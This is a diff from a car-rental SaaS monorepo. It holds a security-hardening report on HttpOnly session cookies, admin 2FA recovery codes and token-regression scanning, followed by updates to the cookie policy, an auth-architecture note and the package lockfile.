+- Multi-container correctness still depends on Redis availability/configuration in production, which must be verified during deployment.
+
+### 6. Added admin 2FA recovery-code backend workflow
+
+Changed files:
+
+- `packages/database/prisma/schema.prisma`
+- `packages/database/prisma/migrations/20260610001500_add_admin_recovery_codes/migration.sql`
+- `apps/api/src/modules/admin/admin.repo.ts`
+- `apps/api/src/modules/admin/admin.service.ts`
+- `apps/api/src/modules/admin/admin.schemas.ts`
+- `apps/api/src/modules/admin/admin.routes.ts`
+
+What changed:
+
+- Added `AdminRecoveryCode` model.
+- Recovery codes are stored as bcrypt hashes, not plaintext.
+- TOTP enrollment now issues one-time recovery codes.
+- Recovery-code regeneration is protected by authenticated admin access and fresh 2FA.
+- Login can consume a valid unused recovery code when TOTP is enabled.
+- Recovery-code issuance and use are audited.
+
+Security effect:
+
+- Adds a recovery path for mandatory admin 2FA without storing backup codes in plaintext.
+- Preserves one-time-use semantics.
+- Adds auditability for recovery-code lifecycle events.
+
+Limitation:
+
+- The backend returns recovery codes after enrollment/regeneration. A production-ready admin UI still needs to display them once with clear save instructions and must not persist them client-side.
+
+### 7. Strengthened static scanning for auth-token regressions
+
+Changed file:
+
+- `scripts/security-static-check.mjs`
+
+What changed:
+
+- Static scan now catches common regressions involving auth/session token names in `localStorage` and `document.cookie`.
+- Scan specifically targets auth token/session names such as employee/admin/renter tokens and sessions.
+
+Security effect:
+
+- Makes it harder for future code changes to quietly reintroduce script-readable authentication tokens.
+
+### 8. Updated documentation to match the hardened model
+
+Changed files:
+
+- `apps/dashboard/README.md`
+- `memory/project_auth_architecture.md`
+- `docs/project-design/COOKIE_POLICY.md`
+- `apps/api/src/swagger/openapi.ts`
+
+What changed:
+
+- Replaced stale localStorage/JWT handoff claims with HttpOnly session-cookie wording.
+- Clarified that browser clients use HttpOnly sessions and that Bearer tokens are only for documented trusted server/mobile contexts.
+- Updated cookie policy references from legacy `employee_token` wording to `employee_session`.
+
+Security effect:
+
+- Reduces the odds that a future developer follows stale documentation and reintroduces the old pattern.
+
+## Validation Performed
+
+The following checks were run successfully in the available environment:
+
+```bash
+npm run security:static
+node --check scripts/security-static-check.mjs
+# JSON parse validation for package.json and package-lock.json files
+# YAML parse validation for docker-compose.production.yml and .gitlab-ci.yml
+bash -n docker/entrypoint.production.sh scripts/docker-prod-*.sh scripts/docker-registry-local-up.sh scripts/setup-clerk-keys.sh
+# TypeScript/TSX syntax transpile check over 507 source files
+npm audit --package-lock-only --omit=dev --audit-level=critical
+```
+
+Results:
+
+- Security static check: passed.
+- Static-check script syntax: passed.
+- Package JSON validation: passed.
+- YAML validation: passed.
+- Shell syntax validation: passed.
+- TypeScript/TSX syntax transpile validation: passed.
+- Critical production dependency audit: passed.
+
+Audit note:
+
+- `npm audit --audit-level=critical` exited successfully.
+- Moderate advisories remain for transitive `postcss` and `uuid` paths. The available automatic fixes require breaking/force dependency changes, so they were not applied blindly in this source pass.
+
+## Not Fully Verified in This Environment
+
+The following items require a real development/CI/deployment environment:
+
+- `npm ci` from a clean checkout.
+- Full workspace typecheck.
+- Full unit, integration, security, and e2e test suites.
+- Prisma client generation.
+- Applying the new database migration to a real database.
+- Database backup/restore verification.
+- Docker image build and runtime validation.
+- Container scanning with Trivy or equivalent.
+- Live reverse-proxy validation for `x-middleware-subrequest` blocking.
+- Redis-backed distributed rate-limit validation across multiple API containers.
+- Provider webhook sandbox tests.
+- Live admin 2FA recovery-code UX verification.
+
+## Remaining Launch-Gate Work
+
+These are still not things source edits can prove by themselves:
+
+1. Rotate all real production secrets.
+2. Confirm no real secrets exist in repository history or image layers.
+3. Apply and verify the new `admin_recovery_codes` migration.
+4. Run the full CI gate: lint, typecheck, unit tests, integration tests, security tests, build, dependency audit, secret scan, and container scan.
+5. Confirm Redis and PostgreSQL are private in production.
+6. Confirm DB management tools are not publicly reachable.
+7. Confirm production containers run non-root with reduced capabilities and resource limits.
+8. Confirm webhook signature/idempotency behavior against real provider sandbox payloads.
+9. Confirm private files are inaccessible through static routes in the deployed environment.
+10. Confirm the admin UI displays recovery codes once and instructs admins to save them securely.
+
+## Changed Files
+
+See `security_hardening_leftover_changed_files.txt` for the complete file list and `security_hardening_leftover.diff` for the unified diff.
+
+## Final Assessment
+
+This pass closes a meaningful set of leftover source-level gaps from the security-hardening plan. The project is closer to the intended model: API-enforced security, HttpOnly browser sessions, stronger admin 2FA recovery, app-layer bypass blocking, and less stale documentation.
+
+However, this still should not be treated as production-ready until the remaining launch-gate evidence is collected from CI and the live deployment environment. Security that has not been tested in the actual runtime is mostly optimism with a lanyard.
diff --git a/docs/project-design/COOKIE_POLICY.md b/docs/project-design/COOKIE_POLICY.md
index 62d387e..790add7 100644
--- a/docs/project-design/COOKIE_POLICY.md
+++ b/docs/project-design/COOKIE_POLICY.md
@@ -28,13 +28,13 @@ We do not use analytics cookies, advertising cookies, or third-party tracking co
| Field | Value |
|---|---|
-| **Name** | `employee_token` |
+| **Name** | `employee_session` |
| **Category** | Strictly necessary |
| **Duration** | 8 hours (session) |
| **Scope** | All pages (`path=/`) |
| **Third-party** | No |
-**Purpose:** This cookie is set when an employee or administrator signs in to the RentalDriveGo workspace. It stores a cryptographically signed token (JWT) that proves your identity to the platform. Without this cookie, the dashboard and protected API endpoints cannot verify who you are and will redirect you to the sign-in page.
+**Purpose:** This cookie is set when an employee signs in to the RentalDriveGo workspace. Admins receive a separate `admin_session` cookie. It stores a cryptographically signed token (JWT) that proves your identity to the platform. Without this cookie, the dashboard and protected API endpoints cannot verify who you are and will redirect you to the sign-in page.
**When it is set:** On a successful sign-in.
**When it is removed:** When you sign out, or automatically after 8 hours of inactivity.
@@ -148,9 +148,7 @@ Browser-specific instructions:
## 7. Security
-The authentication cookie (`employee_token`) is signed and expires after 8 hours. It is transmitted over HTTPS in production. We recommend using the platform on trusted devices only and signing out when you are finished.
-
-Note for our technical team: the `HttpOnly` and `Secure` flags should be added to `employee_token` in a future release to further limit exposure to XSS and mixed-content attacks.
+The authentication cookies (`employee_session` and `admin_session`) are signed, HttpOnly, and expire after the configured session window. They use `Secure` in production and are not readable by JavaScript. We recommend using the platform on trusted devices only and signing out when you are finished.
---
diff --git a/memory/project_auth_architecture.md b/memory/project_auth_architecture.md
index 3865e58..01cca40 100644
--- a/memory/project_auth_architecture.md
+++ b/memory/project_auth_architecture.md
@@ -6,21 +6,21 @@ type: project
Three-tier SaaS auth system (RentalDriveGo car management monorepo):
-1. **Admins** — JWT auth (`type: 'admin'`), stored in `localStorage.admin_token` in admin app (port 3002)
-2. **Employees (Owner/Manager/Agent)** — Clerk OAuth when configured, local JWT (`type: 'employee'`) when Clerk is not configured. Token stored in `localStorage.employee_token` + `employee_token` cookie in dashboard app (port 3001)
+1. **Admins** — JWT auth (`type: 'admin'`) issued into the HttpOnly `admin_session` cookie in the admin app (port 3002)
+2. **Employees (Owner/Manager/Agent)** — Clerk OAuth when configured, local JWT (`type: 'employee'`) when Clerk is not configured. The API stores the session in the HttpOnly `employee_session` cookie; browser code may cache profile/preferences, but not auth tokens.
3. **Renters** — JWT infrastructure exists but login is currently disabled (returns 403)
**Unified login page:** `apps/dashboard/src/app/sign-in/[[...sign-in]]/page.tsx`
- Shows Clerk component when `NEXT_PUBLIC_CLERK_PUBLISHABLE_KEY` is a real key
- Otherwise shows local form that tries employee login, then admin login
-- Admin users are redirected to admin app via `${ADMIN_URL}/auth-redirect#token=xxx`
+- Admin users are redirected after the API sets `admin_session`; URL-fragment token handoff is legacy and should not return
**Key API endpoints:**
-- `POST /api/v1/auth/employee/login` — local employee auth (email + password → JWT)
-- `POST /api/v1/admin/auth/login` — admin auth (email + password + optional TOTP → JWT)
+- `POST /api/v1/auth/employee/login` — local employee auth (email + password → HttpOnly session cookie)
+- `POST /api/v1/admin/auth/login` — admin auth (email + password + TOTP or recovery code when enabled → HttpOnly session cookie)
- `POST /api/v1/auth/company/signup` — company signup (accepts optional `password` field)
-**requireCompanyAuth middleware** — accepts local employee JWT OR Clerk session token.
+**requireCompanyAuth middleware** — accepts the `employee_session` HttpOnly cookie, and still supports trusted Bearer tokens for server/mobile/integration contexts.
**Why:** Clerk keys were placeholder values (`pk_test_your_real_publishable_key_here`), making the login page non-functional. Added local JWT auth as a fully working fallback.
diff --git a/package-lock.json b/package-lock.json
index a718ee0..3d63acf 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -31,7 +31,7 @@
"autoprefixer": "^10.4.19",
"dayjs": "^1.11.11",
"lucide-react": "^0.376.0",
- "next": "14.2.3",
+ "next": "^16.2.7",
"postcss": "^8.4.38",
"react": "^18.3.1",
"react-dom": "^18.3.1",
@@ -43,7 +43,8 @@
"@types/node": "^20.12.0",
"@types/react": "^18.3.1",
"@types/react-dom": "^18.3.0",
- "typescript": "^5.4.0"
+ "typescript": "^5.4.0",
+ "vitest": "^1.6.0"
}
},
"apps/api": {
@@ -63,9 +64,9 @@
"ioredis": "^5.3.2",
"jsonwebtoken": "^9.0.2",
"morgan": "^1.10.0",
- "multer": "^1.4.5-lts.1",
+ "multer": "^2.1.1",
"node-cron": "^3.0.3",
- "nodemailer": "^6.9.16",
+ "nodemailer": "^8.0.10",
"otplib": "^12.0.1",
"qrcode": "^1.5.3",
"react": "^18.3.1",
@@ -106,7 +107,7 @@
"autoprefixer": "^10.4.19",
"dayjs": "^1.11.11",
"lucide-react": "^0.376.0",
- "next": "14.2.3",
+ "next": "^16.2.7",
"postcss": "^8.4.38",
"react": "^18.3.1",
"react-dom": "^18.3.1",
@@ -120,7 +121,8 @@
"@types/node": "^20.12.0",
"@types/react": "^18.3.1",
"@types/react-dom": "^18.3.0",
- "typescript": "^5.4.0"
+ "typescript": "^5.4.0",
+ "vitest": "^1.6.0"
}
},
"apps/marketplace": {
@@ -131,7 +133,7 @@
"autoprefixer": "^10.4.19",
"dayjs": "^1.11.11",
"lucide-react": "^0.376.0",
- "next": "14.2.3",
+ "next": "^16.2.7",
"postcss": "^8.4.38",
"react": "^18.3.1",
"react-dom": "^18.3.1",
@@ -142,7 +144,8 @@
"@types/node": "^20.12.0",
"@types/react": "^18.3.1",
"@types/react-dom": "^18.3.0",
- "typescript": "^5.4.0"
+ "typescript": "^5.4.0",
+ "vitest": "^1.6.0"
}
},
"apps/public-site": {
@@ -820,10 +823,9 @@
}
},
"node_modules/@google-cloud/storage": {
- "version": "7.19.0",
- "resolved": "https://registry.npmjs.org/@google-cloud/storage/-/storage-7.19.0.tgz",
- "integrity": "sha512-n2FjE7NAOYyshogdc7KQOl/VZb4sneqPjWouSyia9CMDdMhRX5+RIbqalNmC7LOLzuLAN89VlF2HvG8na9G+zQ==",
- "license": "Apache-2.0",
+ "version": "7.21.0",
+ "resolved": "https://registry.npmjs.org/@google-cloud/storage/-/storage-7.21.0.tgz",
+ "integrity": "sha512-l+IFTkd+6Y5LoAuXyYCKNAKtw/Ci+rAMqgdTB1jv4iZiLhw0rtq+0qjIRbBizXkNzEFmXiXUW0H7sZQQvk1ffA==",
"optional": true,
"dependencies": {
"@google-cloud/paginator": "^5.0.0",
@@ -839,24 +841,12 @@
"mime": "^3.0.0",
"p-limit": "^3.0.1",
"retry-request": "^7.0.0",
- "teeny-request": "^9.0.0",
- "uuid": "^8.0.0"
+ "teeny-request": "^9.0.0"
},
"engines": {
"node": ">=14"
}
},
- "node_modules/@google-cloud/storage/node_modules/uuid": {
- "version": "8.3.2",
- "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
- "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
- "deprecated": "uuid@10 and below is no longer supported. For ESM codebases, update to uuid@latest. For CommonJS codebases, use uuid@11 (but be aware this version will likely be deprecated in 2028).",
- "license": "MIT",
- "optional": true,
- "bin": {
- "uuid": "dist/bin/uuid"
- }
- },
"node_modules/@grpc/grpc-js": {
"version": "1.14.3",
"resolved": "https://registry.npmjs.org/@grpc/grpc-js/-/grpc-js-1.14.3.tgz",
@@ -1573,156 +1563,6 @@
"url": "https://opencollective.com/js-sdsl"
}
},
- "node_modules/@next/env": {
- "version": "14.2.3",
- "resolved": "https://registry.npmjs.org/@next/env/-/env-14.2.3.tgz",
- "integrity": "sha512-W7fd7IbkfmeeY2gXrzJYDx8D2lWKbVoTIj1o1ScPHNzvp30s1AuoEFSdr39bC5sjxJaxTtq3OTCZboNp0lNWHA==",
- "license": "MIT"
- },
- "node_modules/@next/swc-darwin-arm64": {
- "version": "14.2.3",
- "resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-14.2.3.tgz",
- "integrity": "sha512-3pEYo/RaGqPP0YzwnlmPN2puaF2WMLM3apt5jLW2fFdXD9+pqcoTzRk+iZsf8ta7+quAe4Q6Ms0nR0SFGFdS1A==",
- "cpu": [
- "arm64"
- ],
- "license": "MIT",
- "optional": true,
- "os": [
- "darwin"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-darwin-x64": {
- "version": "14.2.3",
- "resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-14.2.3.tgz",
- "integrity": "sha512-6adp7waE6P1TYFSXpY366xwsOnEXM+y1kgRpjSRVI2CBDOcbRjsJ67Z6EgKIqWIue52d2q/Mx8g9MszARj8IEA==",
- "cpu": [
- "x64"
- ],
- "license": "MIT",
- "optional": true,
- "os": [
- "darwin"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-linux-arm64-gnu": {
- "version": "14.2.3",
- "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-14.2.3.tgz",
- "integrity": "sha512-cuzCE/1G0ZSnTAHJPUT1rPgQx1w5tzSX7POXSLaS7w2nIUJUD+e25QoXD/hMfxbsT9rslEXugWypJMILBj/QsA==",
- "cpu": [
- "arm64"
- ],
- "license": "MIT",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-linux-arm64-musl": {
- "version": "14.2.3",
- "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-14.2.3.tgz",
- "integrity": "sha512-0D4/oMM2Y9Ta3nGuCcQN8jjJjmDPYpHX9OJzqk42NZGJocU2MqhBq5tWkJrUQOQY9N+In9xOdymzapM09GeiZw==",
- "cpu": [
- "arm64"
- ],
- "license": "MIT",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-linux-x64-gnu": {
- "version": "14.2.3",
- "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-14.2.3.tgz",
- "integrity": "sha512-ENPiNnBNDInBLyUU5ii8PMQh+4XLr4pG51tOp6aJ9xqFQ2iRI6IH0Ds2yJkAzNV1CfyagcyzPfROMViS2wOZ9w==",
- "cpu": [
- "x64"
- ],
- "license": "MIT",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-linux-x64-musl": {
- "version": "14.2.3",
- "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-14.2.3.tgz",
- "integrity": "sha512-BTAbq0LnCbF5MtoM7I/9UeUu/8ZBY0i8SFjUMCbPDOLv+un67e2JgyN4pmgfXBwy/I+RHu8q+k+MCkDN6P9ViQ==",
- "cpu": [
- "x64"
- ],
- "license": "MIT",
- "optional": true,
- "os": [
- "linux"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-win32-arm64-msvc": {
- "version": "14.2.3",
- "resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-14.2.3.tgz",
- "integrity": "sha512-AEHIw/dhAMLNFJFJIJIyOFDzrzI5bAjI9J26gbO5xhAKHYTZ9Or04BesFPXiAYXDNdrwTP2dQceYA4dL1geu8A==",
- "cpu": [
- "arm64"
- ],
- "license": "MIT",
- "optional": true,
- "os": [
- "win32"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-win32-ia32-msvc": {
- "version": "14.2.3",
- "resolved": "https://registry.npmjs.org/@next/swc-win32-ia32-msvc/-/swc-win32-ia32-msvc-14.2.3.tgz",
- "integrity": "sha512-vga40n1q6aYb0CLrM+eEmisfKCR45ixQYXuBXxOOmmoV8sYST9k7E3US32FsY+CkkF7NtzdcebiFT4CHuMSyZw==",
- "cpu": [
- "ia32"
- ],
- "license": "MIT",
- "optional": true,
- "os": [
- "win32"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
- "node_modules/@next/swc-win32-x64-msvc": {
- "version": "14.2.3",
- "resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-14.2.3.tgz",
- "integrity": "sha512-Q1/zm43RWynxrO7lW4ehciQVj+5ePBhOK+/K2P7pLFX3JaJ/IZVC69SHidrmZSOkqz7ECIOhhy7XhAFG4JYyHA==",
- "cpu": [
- "x64"
- ],
- "license": "MIT",
- "optional": true,
- "os": [
- "win32"
- ],
- "engines": {
- "node": ">= 10"
- }
- },
"node_modules/@noble/ciphers": {
"version": "1.3.0",
"resolved": "https://registry.npmjs.org/@noble/ciphers/-/ciphers-1.3.0.tgz",
@@ -1971,21 +1811,20 @@
"optional": true
},
"node_modules/@protobufjs/eventemitter": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@protobufjs/eventemitter/-/eventemitter-1.1.0.tgz",
- "integrity": "sha512-j9ednRT81vYJ9OfVuXG6ERSTdEL1xVsNgqpkxMsbIabzSo3goCjDIveeGv5d03om39ML71RdmrGNjG5SReBP/Q==",
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@protobufjs/eventemitter/-/eventemitter-1.1.1.tgz",
+ "integrity": "sha512-vW1GmwMZNnL+gMRaovlh9yZX74kc+TTU3FObkkurpMaRtBfLP3ldjS9KQWlwZgraRE0+dheEEoAxdzcJQ8eXZg==",
"license": "BSD-3-Clause",
"optional": true
},
"node_modules/@protobufjs/fetch": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@protobufjs/fetch/-/fetch-1.1.0.tgz",
- "integrity": "sha512-lljVXpqXebpsijW71PZaCYeIcE5on1w5DlQy5WH6GLbFryLUrBD4932W/E2BSpfRJWseIL4v/KPgBFxDOIdKpQ==",
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@protobufjs/fetch/-/fetch-1.1.1.tgz",
+ "integrity": "sha512-GpptLrs57adMSuHi3VNj0mAF8dwh36LMaYF6XyJ6JMWlVsc+t42tm1HSEDmOs3A8fC9yyeisgLhsTVQokOZ0zw==",
"license": "BSD-3-Clause",
"optional": true,
"dependencies": {
- "@protobufjs/aspromise": "^1.1.1",
- "@protobufjs/inquire": "^1.1.0"
+ "@protobufjs/aspromise": "^1.1.1"
}
},
"node_modules/@protobufjs/float": {
@@ -1996,9 +1835,9 @@
"optional": true
},
"node_modules/@protobufjs/inquire": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@protobufjs/inquire/-/inquire-1.1.1.tgz",
- "integrity": "sha512-mnzgDV26ueAvk7rsbt9L7bE0SuAoqyuys/sMMrmVcN5x9VsxpcG3rqAUSgDyLp0UZlmNfIbQ4fHfCtreVBk8Ew==",
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@protobufjs/inquire/-/inquire-1.1.2.tgz",
+ "integrity": "sha512-pa0vFRuws4wkvaXKK1uXZMAwAX4/t8ANaJo45iw/oQHNQ9q5xUzwgFmVJGXiga2BeN+zpX7Vf9vmsiIa2J+MUw==",
"license": "BSD-3-Clause",
"optional": true
},
@@ -2398,9 +2237,6 @@
"arm"
],
"dev": true,
- "libc": [
- "glibc"
- ],
"license": "MIT",
"optional": true,
"os": [
@@ -2415,9 +2251,6 @@
"arm"
],
"dev": true,
- "libc": [
- "musl"
- ],
"license": "MIT",
"optional": true,
"os": [
@@ -2432,9 +2265,6 @@
"arm64"
],
"dev": true,
- "libc": [
- "glibc"
- ],
"license": "MIT",
"optional": true,
"os": [
@@ -2449,9 +2279,6 @@
"arm64"
],
"dev": true,
- "libc": [
- "musl"
- ],
"license": "MIT",
"optional": true,
"os": [
@@ -2466,9 +2293,6 @@
"loong64"
],
"dev": true,
- "libc": [
- "glibc"
- ],
"license": "MIT",
"optional": true,
"os": [
@@ -2483,9 +2307,6 @@
"loong64"
],
"dev": true,
- "libc": [
- "musl"
- ],
"license": "MIT",
"optional": true,
"os": [
@@ -2500,9 +2321,6 @@
"ppc64"
],
"dev": true,
- "libc": [
- "glibc"
- ],
"license": "MIT",
"optional": true,
"os": [
@@ -2517,9 +2335,6 @@
"ppc64"
],
"dev": true,
- "libc": [
- "musl"
- ],
"license": "MIT",
"optional": true,
"os": [
@@ -2534,9 +2349,6 @@
"riscv64"
],
"dev": true,
- "libc": [
- "glibc"
- ],
"license": "MIT",
"optional": true,
"os": [
@@ -2551,9 +2363,6 @@
"riscv64"
],
"dev": true,
- "libc": [
- "musl"
- ],
"license": "MIT",
"optional": true,
"os": [
@@ -2568,9 +2377,6 @@
"s390x"
],
"dev": true,
- "libc": [
- "glibc"
- ],
"license": "MIT",
"optional": true,
"os": [
@@ -2585,9 +2391,6 @@
"x64"
],
"dev": true,
- "libc": [
- "glibc"
- ],
"license": "MIT",
"optional": true,
"os": [
@@ -2602,9 +2405,6 @@
"x64"
],
"dev": true,
- "libc": [
- "musl"
- ],
"license": "MIT",
"optional": true,
"os": [
@@ -2728,12 +2528,6 @@
"integrity": "sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==",
"license": "MIT"
},
- "node_modules/@swc/counter": {
- "version": "0.1.3",
- "resolved": "https://registry.npmjs.org/@swc/counter/-/counter-0.1.3.tgz",
- "integrity": "sha512-e2BR4lsJkkRlKZ/qCHPw9ZaSxc0MVUd7gtbtaB7aMvHeJVYe8sOB8DBZkP2DtISHGSku9sCK6T6cnY0CtXrOCQ==",
- "license": "Apache-2.0"
- },
"node_modules/@swc/helpers": {
"version": "0.5.21",
"resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.21.tgz",
@@ -2743,16 +2537,10 @@
"tslib": "^2.8.0"
}
},
- "node_modules/@swc/helpers/node_modules/tslib": {
- "version": "2.8.1",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
- "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
- "license": "0BSD"
- },
"node_modules/@tootallnate/once": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz",
- "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.1.tgz",
+ "integrity": "sha512-HqmEUIGRJ5fSXchkVgR5F7qn48bDBzv0kWj/Kfu5e6uci4UlEeng4331LnBkWffb++Ei3FOVLxo8JJWMFBDMeQ==",
"license": "MIT",
"optional": true,
"engines": {
@@ -3566,16 +3354,29 @@
}
},
"node_modules/axios": {
- "version": "1.15.2",
- "resolved": "https://registry.npmjs.org/axios/-/axios-1.15.2.tgz",
- "integrity": "sha512-wLrXxPtcrPTsNlJmKjkPnNPK2Ihe0hn0wGSaTEiHRPxwjvJwT3hKmXF4dpqxmPO9SoNb2FsYXj/xEo0gHN+D5A==",
+ "version": "1.17.0",
+ "resolved": "https://registry.npmjs.org/axios/-/axios-1.17.0.tgz",
+ "integrity": "sha512-J8SwNxprqqpbfenehxWYXE7CW+wM1BB4w3+N+g+/Wx40xM4rsLrfPmHHxSWIxJLYDgSY/HqlFPIYb2/S3rxafw==",
"license": "MIT",
"dependencies": {
- "follow-redirects": "^1.15.11",
+ "follow-redirects": "^1.16.0",
"form-data": "^4.0.5",
+ "https-proxy-agent": "^5.0.1",
"proxy-from-env": "^2.1.0"
}
},
+ "node_modules/axios/node_modules/agent-base": {
+ "version": "6.0.2",
+ "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
+ "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==",
+ "license": "MIT",
+ "dependencies": {
+ "debug": "4"
+ },
+ "engines": {
+ "node": ">= 6.0.0"
+ }
+ },
"node_modules/axios/node_modules/form-data": {
"version": "4.0.5",
"resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz",
@@ -3592,6 +3393,19 @@
"node": ">= 6"
}
},
+ "node_modules/axios/node_modules/https-proxy-agent": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz",
+ "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==",
+ "license": "MIT",
+ "dependencies": {
+ "agent-base": "6",
+ "debug": "4"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
"node_modules/balanced-match": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
@@ -3733,21 +3547,6 @@
"integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==",
"license": "MIT"
},
- "node_modules/body-parser/node_modules/qs": {
- "version": "6.15.1",
- "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.1.tgz",
- "integrity": "sha512-6YHEFRL9mfgcAvql/XhwTvf5jKcOiiupt2FiJxHkiX1z4j7WL8J/jRHYLluORvc1XxB5rV20KoeK00gVJamspg==",
- "license": "BSD-3-Clause",
- "dependencies": {
- "side-channel": "^1.1.0"
- },
- "engines": {
- "node": ">=0.6"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
"node_modules/brace-expansion": {
"version": "1.1.14",
"resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz",
@@ -4141,50 +3940,20 @@
"license": "MIT"
},
"node_modules/concat-stream": {
- "version": "1.6.2",
- "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz",
- "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==",
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-2.0.0.tgz",
+ "integrity": "sha512-MWufYdFw53ccGjCA+Ol7XJYpAlW6/prSMzuPOTRnJGcGzuhLn4Scrz7qf6o8bROZ514ltazcIFJZevcfbo0x7A==",
"engines": [
- "node >= 0.8"
+ "node >= 6.0"
],
"license": "MIT",
"dependencies": {
"buffer-from": "^1.0.0",
"inherits": "^2.0.3",
- "readable-stream": "^2.2.2",
+ "readable-stream": "^3.0.2",
"typedarray": "^0.0.6"
}
},
- "node_modules/concat-stream/node_modules/readable-stream": {
- "version": "2.3.8",
- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz",
- "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==",
- "license": "MIT",
- "dependencies": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
- }
- },
- "node_modules/concat-stream/node_modules/safe-buffer": {
- "version": "5.1.2",
- "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
- "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
- "license": "MIT"
- },
- "node_modules/concat-stream/node_modules/string_decoder": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
- "license": "MIT",
- "dependencies": {
- "safe-buffer": "~5.1.0"
- }
- },
"node_modules/confbox": {
"version": "0.1.8",
"resolved": "https://registry.npmjs.org/confbox/-/confbox-0.1.8.tgz",
@@ -4236,12 +4005,6 @@
"dev": true,
"license": "MIT"
},
- "node_modules/core-util-is": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz",
- "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==",
- "license": "MIT"
- },
"node_modules/cors": {
